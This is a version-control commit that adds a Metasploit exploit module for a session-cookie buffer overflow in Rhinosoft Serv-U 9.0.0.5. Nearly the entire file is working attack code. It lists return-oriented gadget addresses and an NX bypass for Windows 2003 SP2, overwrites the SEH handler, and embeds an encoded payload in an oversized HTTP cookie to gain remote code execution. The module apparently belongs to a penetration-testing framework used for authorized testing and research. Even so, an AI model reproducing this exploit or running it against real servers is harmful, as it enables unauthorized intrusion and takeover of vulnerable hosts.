initial commit, randomization to come

git-svn-id: file:///home/svn/framework3/trunk@7417 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/http/servu_session_cookie.rb

@@ -0,0 +1,113 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::Tcp	
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'Rhinosoft Serv-U Session Cookie Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.
+					Sending a specially crafted POST request with an overly long session cookie
+					string, an attacker may be able to execute arbitrary code.
+			},
+			'Author'         =>
+				[
+					'Nikolas Rangos nikolaos[at]rangos.de',
+					'M.Yanagishita megumi1990[at]gmail.com ', 
+					'jduck jduck[at]metasploit.com'
+				],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'URL', 'http://rangos.de/ServU-ADV.txt' ],
+					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Privileged'     => true,
+			'Payload'        =>
+				{
+					'Space'    => 512,
+					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
+					'StackAdjustment' => -3500,
+					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					[ 'Windows 2003 SP2 English (NX)',
+						{
+							'FixESP'	=> 0x0fb02849, 	# add esp, 0x40c / ret 				@libeay32
+							'FixESI'	=> 0x78a31e96, 	# pop esi / ret						@mfc90u.dll
+							'FixEBP'	=> 0x78a4ae99, 	# push esp / pop ebp / ret 0xc 	@mfc90u.dll
+							'Ret'		=> 0x78a3e987, 	# ret 0x20								@mfc90u.dll
+							'DisableNX'	=> 0x7c83f547,	# NX Disable							@ntdll.dll
+							'JmpESP'	=> 0x78b2c753, 	# jmp esp								@mfc90u.dll
+						}
+					],
+				],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Nov 1 2009'))
+			
+			register_options( [ Opt::RPORT(80) ], self.class )
+
+	end
+
+	def exploit
+		
+		# hit end of stack..
+		# sploit = make_nops(50000)
+		sploit = rand_text(50000)
+		
+		# new SEH handler
+		sploit[40948,4] = [target['FixESP']].pack('V')
+		
+		# stack frame to bypass NX
+		sploit[0,4] = [target['FixESI']].pack('V')
+		sploit[4,4] = [0x10200].pack('V')
+		sploit[8,4] = [target['FixEBP']].pack('V')
+		sploit[12,4] = [target['Ret']].pack('V')
+		sploit[16,4] = [target['JmpESP']].pack('V')
+		sploit[20,4] = [target['DisableNX']].pack('V')
+		sploit[24,2] = "\xeb\x20"
+		sploit[40,payload.encoded.length] = payload.encoded
+		
+		# TODO: randomize!
+		buf = "Cookie: killmenothing; SULang=de%%2CDE; themename=vista;"
+		buf << " Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb9507545814"
+		buf << sploit.unpack('H*')[0]
+		buf << "\r\n"
+		buf << "Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\n"
+		buf << "Content-Length: 0\r\n"
+		buf << "\r\n";
+		
+		req =  "POST / HTTP/1.1\r\n"
+		req << "Host: #{rhost}:#{rport}\r\n"
+		req << buf
+		# req << "Content-Length: #{data.length}" + "\r\n\r\n" + data + "\r\n\r\n"
+
+		connect
+		print_status("Trying target #{target.name}..." % target['Ret'])
+		sock.put(req)
+		
+		sleep(5)
+		handler
+	end	
+	
+end